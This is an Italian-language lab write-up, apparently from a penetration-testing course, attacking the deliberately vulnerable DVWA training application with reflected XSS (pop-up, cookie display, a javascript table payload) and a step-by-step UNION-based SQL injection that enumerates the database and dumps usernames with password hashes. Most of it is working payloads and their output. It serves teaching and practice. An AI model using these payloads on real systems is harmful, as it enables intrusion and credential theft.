

## 2. La fase di exploit: Gli attacchi alle Web App

### XSS

#### Restituzione della stringa in corsivo

**Vulnerability: Reflected Cross Site Scripting (XSS)**

What's your name?

Hello  *test string*

#### Restituzione di una finestra pop-up

**Vulnerability: Reflected Cross Site Scripting (XSS)**

What's your name?

Hello ">

192.168.50.101

ciao

OK

#### Restituzione dei cookie

**Vulnerability: Reflected Cross Site Scripting (XSS)**

What's your name?

Hello

192.168.50.101

security=low; PHPSESSID=4ab560d4bf290cded85c3d018fd90107

OK

## Restituzione di maggiori informazioni

<table><td background="javascript:alert('xss')">

### Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

Hello  
**More info**

<http://hackers.org/xss.html>

[http://en.wikipedia.org/wiki/Cross-site\\_scripting](http://en.wikipedia.org/wiki/Cross-site_scripting)

<http://www.cgisecurity.com/xss-faq.html>

**Username:** admin  
**Security Level:** low  
**PHPIDS:** disabled

---

Damn Vulnerable Web Application (DVWA) v1.0.7

## SQL INJECTION

Questo ti restituisce gli utenti con relativo nome e cognome

### Vulnerability: SQL Injection

User ID:

ID: % ' or '1'='1  
First name: admin  
Surname: admin

ID: % ' or '1'='1  
First name: Gordon  
Surname: Brown

ID: % ' or '1'='1  
First name: Hack  
Surname: Me

ID: % ' or '1'='1  
First name: Pablo  
Surname: Picasso

ID: % ' or '1'='1  
First name: Bob  
Surname: Smith

## Versione database

%' or 0=0 union select null, version() #

### Vulnerability: SQL Injection

User ID:

 

ID: '%' or 0=0 union select null, version() #  
First name: admin  
Surname: admin

ID: '%' or 0=0 union select null, version() #  
First name: Gordon  
Surname: Brown

ID: '%' or 0=0 union select null, version() #  
First name: Hack  
Surname: Me

ID: '%' or 0=0 union select null, version() #  
First name: Pablo  
Surname: Picasso

ID: '%' or 0=0 union select null, version() #  
First name: Bob  
Surname: Smith

ID: '%' or 0=0 union select null, version() #  
First name:  
Surname: 5.0.51a-3ubuntu5

## Database user

%' or 0=0 union select null, user() #

### Vulnerability: SQL Injection

User ID:

 

ID: '%' or 0=0 union select null, user() #  
First name: admin  
Surname: admin

ID: '%' or 0=0 union select null, user() #  
First name: Gordon  
Surname: Brown

ID: '%' or 0=0 union select null, user() #  
First name: Hack  
Surname: Me

ID: '%' or 0=0 union select null, user() #  
First name: Pablo  
Surname: Picasso

ID: '%' or 0=0 union select null, user() #  
First name: Bob  
Surname: Smith

ID: '%' or 0=0 union select null, user() #  
First name:  
Surname: root@localhost

## Database name

%' or 0=0 union select null, database() #

### Vulnerability: SQL Injection

User ID:

 

ID: '%' or 0=0 union select null, database() #  
First name: admin  
Surname: admin

ID: '%' or 0=0 union select null, database() #  
First name: Gordon  
Surname: Brown

ID: '%' or 0=0 union select null, database() #  
First name: Hack  
Surname: Me

ID: '%' or 0=0 union select null, database() #  
First name: Pablo  
Surname: Picasso

ID: '%' or 0=0 union select null, database() #  
First name: Bob  
Surname: Smith

ID: '%' or 0=0 union select null, database() #  
First name:  
Surname: dvwa

## Restituisce tutte le tabelle

%' and 1=0 union select null, table\_name from information\_schema.tables #

### Vulnerability: SQL Injection

User ID:

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #  
First name:  
Surname: CHARACTER\_SETS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #  
First name:  
Surname: COLLATIONS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #  
First name:  
Surname: COLLATION\_CHARACTER\_SET\_APPLICABILITY

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #  
First name:  
Surname: COLUMNS

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #  
First name:  
Surname: COLUMN\_PRIVILEGES

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #  
First name:  
Surname: KEY\_COLUMN\_USAGE

ID: %' and 1=0 union select null, table\_name from information\_schema.tables #  
First name:  
Surname: PROFILING

## Tutte le tabelle col prefisso user

%' and 1=0 union select null, table\_name from information\_schema.tables where table\_name like 'user%'#

### Vulnerability: SQL Injection

User ID:

ID: %' and 1=0 union select null, table\_name from information\_schema.tables where table\_name like 'user%'#  
First name:  
Surname: USER\_PRIVILEGES

ID: %' and 1=0 union select null, table\_name from information\_schema.tables where table\_name like 'user%'#  
First name:  
Surname: users

ID: %' and 1=0 union select null, table\_name from information\_schema.tables where table\_name like 'user%'#  
First name:  
Surname: user

ID: %' and 1=0 union select null, table\_name from information\_schema.tables where table\_name like 'user%'#  
First name:  
Surname: users\_grouppermissions

ID: %' and 1=0 union select null, table\_name from information\_schema.tables where table\_name like 'user%'#  
First name:  
Surname: users\_groups

ID: %' and 1=0 union select null, table\_name from information\_schema.tables where table\_name like 'user%'#  
First name:  
Surname: users\_objectpermissions

ID: %' and 1=0 union select null, table\_name from information\_schema.tables where table\_name like 'user%'#  
First name:  
Surname: users\_permissions

## Stampa di tutte le colonne nelle tabella user

%' and 1=0 union select null, concat(table\_name,0x0a,column\_name) from information\_schema.columns where table\_name = 'users' #

**Vulnerability: SQL Injection**

User ID:

```
ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where
First name:
Surname: users
user_id

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where
First name:
Surname: users
first_name

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where
First name:
Surname: users
last_name

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where
First name:
Surname: users
user

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where
First name:
Surname: users
password

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where
First name:
```

## Stampa informazioni di identificazione presenti nelle colonne

%' and 1=0 union select null, concat(first\_name,0x0a,last\_name,0x0a,user,0x0a,password) from users #

**Vulnerability: SQL Injection**

User ID:

```
ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name:
Surname: admin
admin
admin
5f4dcc3b5aa765d61d8327deb882cf99

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name:
Surname: Gordon
Brown
gordonb
e99a18c428cb38d5f260853678922e03

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name:
Surname: Hack
Me
1337
8d3533d75ae2c3966d7e0d4fcc69216b

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name:
Surname: Pablo
Picasso
pablo
0d107d09f5bbe40cade3de5c71e9e9b7
```